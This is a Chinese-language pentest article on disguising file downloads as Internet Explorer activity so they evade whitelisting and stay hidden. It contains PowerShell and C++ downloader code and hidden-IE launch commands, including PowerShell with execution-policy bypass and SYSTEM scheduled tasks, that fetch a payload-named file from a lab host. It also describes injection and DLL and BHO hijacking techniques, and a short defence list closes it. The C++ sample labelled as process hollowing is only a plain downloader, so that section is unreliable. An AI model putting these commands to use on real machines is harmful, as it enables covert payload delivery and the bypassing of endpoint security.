模拟IE浏览器下载文件的渗透技巧详解
0x00 前言
本文详细介绍了Windows系统下模拟IE浏览器实现文件下载的各种方法。这些技术不仅能够绕过白名单程序的拦截,还能在一定程度上隐藏下载行为。我们将从利用角度出发,全面分析各种实现方式,并总结相应的防御思路。
0x01 技术分类
模拟IE浏览器下载文件的方法可分为两大类:
-
主动模式:通过命令主动实现文件下载
- 当前后台无IE进程
- 当前后台有IE进程
-
被动模式:劫持用户行为,在用户打开IE时实现文件下载
0x02 主动模式实现方法
1. 后台无IE进程时的实现方式
a) 调用IE COM对象
通过COM对象InternetExplorer.Application实现文件下载,后台进程为iexplore.exe。
PowerShell实现代码:
$ie_com = New-Object -ComObject InternetExplorer.Application
$ie_com.Silent = $True
$ie_com.Visible = $False
$Headers = "Host: <SNIP>.cloudfront.net`r`n"
$ie_com.Navigate2("http://192.168.62.131/index.html", 14, 0, $Null, $Headers)
while($ie_com.busy -eq $true) { Start-Sleep -Milliseconds 100 }
$html = $ie_com.document.GetType().InvokeMember('body', [System.Reflection.BindingFlags]::GetProperty, $Null, $ie_com.document, $Null).InnerHtml
$html
$ie_com.Quit()
注意事项:
- 若IE从未运行过,执行以上代码会弹框提示
- 该技术还有CS、JS和VBS的实现版本
b) Process Hollowing
创建傀儡进程iexplore.exe,传入参数CREATE_SUSPENDED使进程挂起,清空进程内存数据,写入payload后恢复执行。
C++实现代码:
#include <stdio.h>
#include <windows.h>
#include <wininet.h>
#define MAXBLOCKSIZE 1024
#pragma comment( lib, "wininet.lib" );
void download(const char *Url,const char *save_as) {
byte Temp[MAXBLOCKSIZE];
ULONG Number = 1;
FILE *stream;
HINTERNET hSession = InternetOpen((LPCSTR)"RookIE/1.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if (hSession != NULL) {
HINTERNET handle2 = InternetOpenUrl(hSession, (LPCSTR)Url, NULL, 0, INTERNET_FLAG_DONT_CACHE, 0);
if (handle2 != NULL) {
fopen_s(&stream, save_as, "wb");
while (Number > 0) {
InternetReadFile(handle2, Temp, MAXBLOCKSIZE - 1, &Number);
fwrite(Temp, sizeof(char), Number, stream);
}
fclose(stream);
InternetCloseHandle(handle2);
handle2 = NULL;
}
InternetCloseHandle(hSession);
hSession = NULL;
}
}
int main(int argc, char* argv[]) {
download("https://github.com/3gstudent/test/raw/master/putty.exe","c:\\test\\putty.exe");
return 0;
}
c) Process Doppelganging
类似于Process Hollowing,但使用transaction技术:
- 打开正常文件并创建transaction
- 在transaction内填入payload
- 启动payload进程
- 回滚transaction
注意事项:
- 需要对正常文件进行写入操作
- 对iexplore.exe利用需要Trusted Installer权限
d) 隐蔽启动IE访问特定网址
方法1:cmd启动IE
start "C:\Program Files\Internet Explorer\iexplore.exe" http://192.168.62.131/evil-kiwi.png
可通过ShowWindowAsyncAPI隐藏IE界面,PowerShell脚本参考:HiddenProcess.ps1
方法2:PowerShell启动IE
powershell -executionpolicy bypass -Command "Start-Process -FilePath \"C:\Program Files\Internet Explorer\iexplore.exe\" -ArgumentList http://192.168.62.131/evil-kiwi.png -WindowStyle Hidden"
缓存文件位置:
- Win7:
%LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files - Win8/Win10:
%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE
查找缓存文件:
dir %LOCALAPPDATA%\*evil-kiwi*.png /s /b
历史记录位置:
%LOCALAPPDATA%\Microsoft\Windows\History\
方法3:计划任务启动IE
at 6:34 "C:\Program Files\Internet Explorer\iexplore.exe" http://192.168.62.131/evil-kiwi.png
或
schtasks /create /RU SYSTEM /RP "" /SC ONCE /TN test1 /TR "C:\Program Files\Internet Explorer\iexplore.exe http://192.168.62.131/evil-kiwi.png" /ST 06:34 /F
系统级缓存位置:
%windir%\System32\config\systemprofile\AppData\Local\Microsoft\Windows\
方法4:创建服务启动IE
sc create Test1 type= own binpath= "C:\Program Files\Internet Explorer\iexplore.exe"
sc start test1
注:iexplorer.exe不支持与SCM交互,需要其他方式创建服务
e) 隐蔽启动IE进行DLL注入
隐蔽启动IE后,使用APC或Atombombing技术进行DLL注入。
APC注入参考:Inject-dll-by-APC
Atombombing参考:AtomBombing利用分析
2. 后台有IE进程时的实现方式
a) DLL注入(APC、Atombombing)
方法与上述相同,针对已存在的IE进程进行DLL注入。
0x03 被动模式实现方法
a) DLL劫持
实例:C:\Program Files\Internet Explorer\IEShims.dll
开发工具:exportstoc
注意事项:
- 保留原DLL功能
- 需要做互斥处理避免多次启动
b) BHO劫持
利用Browser Helper Object劫持IE浏览器,在页面打开时实现文件下载。
参考:《利用BHO实现IE浏览器劫持》
0x04 防御思路
针对各种攻击方法的防御措施:
- 监控iexplore.exe的父进程:检测异常父进程关系
- DLL注入检测:监控敏感API调用
- DLL劫持防护:校验DLL签名和完整性
- BHO防护:监控注册表变更
- 进程行为分析:检测异常IE进程行为
- 网络流量监控:检测异常下载行为
0x05 总结
本文全面介绍了模拟IE浏览器下载文件的各种技术手段,包括主动和被动两种模式,涵盖了COM对象调用、进程注入、DLL劫持等多种技术。防御方应建立多层次的防护体系,从进程监控、API调用检测、注册表保护等多方面进行防护。